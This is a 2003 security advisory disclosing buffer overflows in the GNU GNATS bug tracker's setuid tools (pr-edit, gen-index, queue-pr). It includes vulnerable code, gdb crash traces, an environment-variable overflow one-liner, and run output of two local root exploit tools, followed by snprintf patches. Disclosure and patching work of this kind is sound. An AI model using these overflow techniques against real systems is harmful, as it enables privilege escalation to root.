

---

# INetCop Security Advisory #2003-0x82-018

---

**Title: GNATS (The GNU bug-tracking system)  
multiple buffer overflow vulnerabilities.**

## 0x01. Description

About:

GNATS is a portable incident/bug report/help request-tracking system which runs on UNIX-like operating systems.

It easily handles thousands of problem reports, has been in wide use since the early 90s, and can do most of its operations over e-mail.

Several front end interfaces exist, including command line, emacs, and Tcl/Tk interfaces.

There are also a number of Web (CGI) interfaces written in scripting languages like Perl and Python.

More detailed information references next URL.

URL: <http://www.gnu.org/software/gnats/>

Various kinds version vulnerability of GNATS exists.

Point that must know before test vulnerability,

As following, through signal() function, prevent that segfault happens.

This appears as if program is achieved well without any something wrong.

--

```
[root@xpl017elz gnats]# strace ./pr-edit
```

...

```
rt_sigaction(SIGSEGV, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGHUP, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
```

```

rt_sigaction(SIGINT, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGILL, {0x804a33c, [], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x804a33c, [], SA_RESTART|0x4000000}, {0x804a33c, [],
SA_RESTART|0x4000000}, 8) = 0

```

...

```
[root@xpl017elz gnats]# cat pr-edit.c | grep signal
```

```

    block_signals ();
    unblock_signals ();

```

```
[root@xpl017elz gnats]#
```

--

First, there are two bugs in pr-edit program that is 'Problem report editor' in GNATS 3.002.

For reference, setuid (root or, gnats) of pr-edit program is established to basis.

(Why is root setuid established in Linux? When install, user who is gnats must exist to system.

If don't exist, setuid has been established by root's uid.)

### #1-1) pr-edit Heap based Overflow -

In directory name that user inputs, heap based overflow happens. (It's '-d' option)

```
`/gnats-3.2/gnats/pr-edit.c':
```

--

...

```

83 void
84 main (argc, argv)
85     int argc;
86     char **argv;
87 {
    ...
170     lock_gnats ();
    ...

```

--

lock\_gnats() function exists to '/gnats-3.2/gnats/internal.c' line:199.

`/gnats-3.2/gnats/internal.c':

```
--  
...  
199 void  
200 lock_gnats ()  
201 {  
202     char *path = (char *) xmalloc (PATH_MAX);  
...  
206     sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root); // here.  
...  
--
```

#### #1-2) pr-edit Stack based Overflow -

When this bug reads "PR".lock file, happens.

lock\_pr() function exists to `/gnats-3.2/gnats/pr-edit.c' line:390.

`/gnats-3.2/gnats/pr-edit.c':

```
--  
...  
172     switch (edit_options) {  
173         case LOCK:  
174             result = lock_pr (fname, username);  
175             break;  
...  
390 static int  
391 lock_pr (fname, user)  
392     char *fname, *user;  
393 {  
...  
403     if (stat (lock_path, &buf) == 0)  
404     {  
405         FILE *fp = fopen (lock_path, "r");  
406         char buf[1024];
```

```

...
413     fscanf (fp, "%s", buf); // here.
414     fprintf (stderr, "%s: PR %s locked by %s \n", program_name,
415             fname, buf);
416     fclose (fp);
...
--

```

If insert attack code to lock\_path, can do several buffers overwrite when read file. ;-}

This is possible (100%) exploit.

(only, must close file pointer, and must do several buffers overflow.)

Second, is vulnerability that exist to GNATS 3.113.x.

This is environment variable overflow vulnerability.

## **#2) gen-index, pr-edit, queue-pr Heap based environment variable Overflow -**

There is init\_gnats() function to `/gnats-3.113.1/gnats/pr-edit.c' code. (line:170)

```

`/gnats-3.113.1/gnats/pr-edit.c':
--
...
170   init_gnats (program_name);
...
--

```

There is configure() function to `/gnats-3.113.1/gnats/misc.c' code. (line:41)

```

`/gnats-3.113.1/gnats/misc.c':
--
...
41   void
42   init_gnats (program_name)
43       char *program_name;
...
48   configure ();

```

```
...  
--
```

init\_gnats() -> configure() -> getenv();

`/gnats-3.113.1/gnats/config.c':

```
--  
...  
132     if (! gnats_root)  
133         {  
134             gnats_root = getenv ("GNATS_ROOT");  
...  
--
```

Overflow happens by use of most sprintf() function.

bash-2.04# cat \*.patch | grep sprintf

- sprintf (path, "%s/gnats-adm/%s", gnats\_root, RESPONSIBLE\_FILE);
- sprintf (path, "%s/gnats-adm/%s", gnats\_root, CLASSES);
- sprintf (path, "%s/gnats-adm/%s", gnats\_root, STATES);
- sprintf (path, "%s/gnats-adm/%s", gnats\_root, CATEGORIES);
- sprintf (index\_filename, "%s/gnats-adm/%s", gnats\_root, INDEX);
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats\_root);

bash-2.04#

Also, this is possible (100%) exploit.

## 0x02. Vulnerable Packages

Vendor site: <http://www.gnu.org/software/gnats/>

**GNATS 3.002 version. (exploitable)**

-gnats-3.002.tar.gz or, gnats-3.2.tar.gz

+ \*Linux

+ \*Unix

**GNATS 3.113.1 version. (exploitable)**



```
format=0x804cea7 "%s: PR %s locked by %s \n", ap=0xbffff70c)
at vfprintf.c:1259
```

```
1259   vfprintf.c: No such file or directory.
```

```
(gdb) where
```

```
#0 0x4005d72a in _IO_vfprintf (s=0xbfffcf94,
```

```
format=0x804cea7 "%s: PR %s locked by %s \n", ap=0xbffff70c)
at vfprintf.c:1259
```

```
#1 0x400606b4 in buffered_vfprintf (s=0x40103d20,
```

```
format=0x804cea7 "%s: PR %s locked by %s \n", args=0xbffff704)
at vfprintf.c:1758
```

```
#2 0x4005bf66 in _IO_vfprintf (s=0x40103d20,
```

```
format=0x804cea7 "%s: PR %s locked by %s \n", ap=0xbffff704)
at vfprintf.c:1029
```

```
#3 0x40063f47 in fprintf (stream=0x40103d20,
```

```
format=0x804cea7 "%s: PR %s locked by %s \n") at fprintf.c:32
```

```
#4 0x80498a9 in lock_pr (fname=0x78787878 <Address 0x78787878 out of bounds>,
```

```
user=0x78787878 <Address 0x78787878 out of bounds>) at pr-edit.c:414
```

```
#5 0x78787878 in ?? ()
```

```
Cannot access memory at address 0x78787878.
```

```
(gdb)
```

```
* Test exploit:
```

```
[x82@xpl017elz gnats]$ ./0x82-gnats_own -h
```

GNATS v3.2 (The GNU bug-tracking system) local root exploit.

by Xpl017Elz.

Usage: ./0x82-gnats\_own -option [argument]

-p [pr-edit path] : GNATS pr-edit path.

-t [target num] : Select gcc version number.

{0} : gcc old version.

{1} : gcc new version.

-b [target path] : setuid shell path.

-h : Help information.

Example: `./0x82-gnats_own -p/usr/local/lib/gnats/pr-edit -t1 -b/tmp/gnats-0day`

```
[x82@xpl017elz gnats]$ ./0x82-gnats_own -t0
```

GNATS v3.2 (The GNU bug-tracking system) local root exploit.  
by Xpl017Elz.

```
[0] Start, exploit.  
[+] exploit target: /usr/local/lib/gnats/pr-edit  
[1] Make setuid shell.  
[+] Setuid shell path: /tmp/gnats-0day  
[2] Shellcode setting.  
[+] Shellcode address: 0xbffffac  
[3] Make `gnats-adm' directory.  
[4] Make user.lock file.  
[+] Execute, Shellcode !!
```

```
pr-edit: PR  
        locked by ...FFFFFFFFFFFFFFF...SSSSSSSSSSSSSS...
```

```
[5] Remove setting dir, files.  
[+] exploit successfully.  
[*] It's root shell !!
```

```
bash#
```

#3) GNATS v3.113.x pr-edit, queue-pr, gen-index Heap based environment variable Overflow:

```
bash-2.04$ export GNATS_ROOT=`perl -e 'print "x"x5000`'  
bash-2.04$ gdb -q ./pr-edit  
(gdb) r  
Starting program: /usr/local/libexec/gnats/./pr-edit
```

```
Program received signal SIGSEGV, Segmentation fault.  
0x804c416 in init_states () at files.c:611
```

```
611                s_end->next = s;
```

```
(gdb) where
```

```
#0 0x804c416 in init_states () at files.c:611
```

```
#1 0x78787878 in ?? ()
```

```
Cannot access memory at address 0x78787878
```

```
(gdb)
```

\* Test exploit:

```
bash-2.04$ ./0x82-GNATS_sux -h
```

GNATS v3.113.x (The GNU bug-tracking system) local root exploit.

Usage: ./0x82-GNATS\_sux -option [argument]

- o [offset num] : offset number.
- r [retloc addr] : retloc GOT address.
- s [shell addr] : shellcode address.
- f [chunk addr] : fake chunk address.
- p [chunk ptr] : fake chunk address ptr.
- v : verbose mode.
- h : help information.
- t [target num] : select target number.

Select target number:

- {0} : Red Hat Linux release 6.1 (Cartman) : GNATS gen-index v3.113
- {1} : Red Hat Linux release 6.1 (Cartman) : GNATS gen-index v3.113.1
- {2} : Red Hat Linux release 6.2 (Zoot) : GNATS gen-index v3.113
- {3} : Red Hat Linux release 6.2 (Zoot) : GNATS gen-index v3.113.1
- {4} : Red Hat Linux release 7.0 (Guinness) : GNATS gen-index v3.113
- {5} : Red Hat Linux release 7.0 (Guinness) : GNATS gen-index v3.113.1
- {6} : Red Hat Linux release 7.3 (Valhalla) : GNATS gen-index v3.113
- {7} : Red Hat Linux release 7.3 (Valhalla) : GNATS gen-index v3.113.1

Sample #1): ./0x82-GNATS\_sux -t0

Sample #2): ./0x82-GNATS\_sux -o0 -r0x82828282 -s0x8282bab0 -v

bash-2.04\$ ./0x82-GNATS\_sux -t4

GNATS v3.113.x (The GNU bug-tracking system) local root exploit.

```
[=] Offset: 0
[=] fprintf GOT address: 0x8056d10
[=] shellcode address: 0xbfffedee
[=] fake chunk address: 0x805750c
[=] fake chunk address ptr: 0x8058504
[0] Make fake chunk.
[1] Set fake chunk address.
[2] Make 16byte magic code.
[3] Make shellcode.
[4] Set environment attack code.
[5] Try exploit ...
```

sh-2.04#

## 0x04. Patch

GNATS v3.002 patch:

```
=== gnats-3.002.patch ===
--- internal.c   Sat Dec 11 05:02:19 1993
+++ ../gnats.bak/internal.c   Sat Jun 14 15:18:10 2003
@@ -203,7 +203,7 @@
     struct stat buf;
     int count;

-   sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+   snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);

#define MAXWAIT 10
#define GRANULARITY 1
```

--- pr-edit.c Sat Dec 11 05:02:27 1993

+++ ../gnats.bak/pr-edit.c Sat Jun 14 15:16:35 2003

@@ -410,7 +410,7 @@

```
    if (fp == (FILE *) NULL)
        return 0;
```

- fscanf (fp, "%s", buf);

+ fscanf (fp, "%1023s", buf);

```
fprintf (stderr, "%s: PR %s locked by %s \n", program_name,
         fname, buf);
```

```
fclose (fp);
```

=== eof ===

GNATS v3.113 patch:

=== gnats-3.113.patch ===

--- files.c Wed Sep 22 08:18:39 1999

+++ ../gnats.bak/files.c Sat Jun 14 14:06:17 2003

@@ -271,7 +271,7 @@

```
char *path = (char *) alloca (PATH_MAX);
```

```
memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
```

- sprintf (path, "%s/gnats-adm/%s", gnats\_root, RESPONSIBLE\_FILE);

+ snprintf (path, PATH\_MAX-1, "%s/gnats-adm/%s", gnats\_root, RESPONSIBLE\_FILE);

```
fp = fopen (path, "r");
```

```
if (fp == NULL)
```

```
    return 0;
```

@@ -358,7 +358,7 @@

```
int i, nerrs = 0;
```

```
memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
```

- sprintf (path, "%s/gnats-adm/%s", gnats\_root, CLASSES);

+ snprintf (path, PATH\_MAX-1, "%s/gnats-adm/%s", gnats\_root, CLASSES);

```
fp = fopen (path, "r");
```

```

if (fp == NULL)
@@ -585,7 +585,7 @@
int i, nerrs = 0;

memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
fp = fopen (path, "r");

if (fp == NULL)
--- gen-index.c      Wed Sep 22 08:18:39 1999
+++ ../gnats.bak/gen-index.c  Sat Jun 14 14:06:55 2003
@@ -256,7 +256,7 @@
Categories *c;

if (! catfile)
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
else
path = catfile;

--- index.c      Thu Mar 18 08:45:38 1999
+++ ../gnats.bak/index.c      Sat Jun 14 14:07:43 2003
@@ -399,7 +399,7 @@
if (! index_filename)
{
index_filename = (char *) xmalloc (PATH_MAX);
- sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
+ snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, INDEX);
}

fp = fopen (index_filename, "r");

--- internal.c  Wed Mar  3 09:18:53 1999
+++ ../gnats.bak/internal.c  Sat Jun 14 14:08:27 2003
@@ -238,7 +238,7 @@
struct stat buf;

```

```
int count;
```

```
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);  
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
```

```
#define MAXWAIT 10  
#define GRANULARITY 1
```

```
=== eof ===
```

GNATS v3.113.1 patch:

```
=== gnats-3.113.1.patch ===
```

```
- - - files.c      Mon Feb 12 06:36:25 2001  
+++ ../gnats.bak/files.c Sat Jun 14 13:17:58 2003  
@@ -271,7 +271,7 @@
```

```
char *path = (char *) alloca (PATH_MAX);
```

```
memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
```

```
- sprintf (path, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);  
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);  
fp = fopen (path, "r");  
if (fp == NULL)  
return 0;
```

```
@@ -358,7 +358,7 @@
```

```
int i, nerrs = 0;
```

```
memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
```

```
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CLASSES);  
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CLASSES);  
fp = fopen (path, "r");
```

```
if (fp == NULL)
```

```
@@ -593,7 +593,7 @@
```

```
int i, nerrs = 0;
```

```

memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
fp = fopen (path, "r");

if (fp == NULL)
--- gen-index.c      Wed Sep 22 08:18:39 1999
+++ ../gnats.bak/gen-index.c  Sat Jun 14 13:19:58 2003
@@ -256,7 +256,7 @@
Categories *c;

if (! catfile)
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
else
path = catfile;

--- index.c      Thu Mar 18 08:45:38 1999
+++ ../gnats.bak/index.c      Sat Jun 14 13:22:21 2003
@@ -399,7 +399,7 @@
if (! index_filename)
{
index_filename = (char *) xmalloc (PATH_MAX);
- sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
+ snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, INDEX);
}

fp = fopen (index_filename, "r");

--- internal.c  Wed Mar  3 09:18:53 1999
+++ ../gnats.bak/internal.c    Sat Jun 14 14:09:45 2003
@@ -238,7 +238,7 @@
struct stat buf;
int count;

- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);

```

```
#define MAXWAIT 10
#define GRANULARITY 1
```

```
=== eof ===
```

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc(at)hotmail(dot)com),  
[xploit\(at\)hackermail\(dot\)com](mailto:xploit(at)hackermail(dot)com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--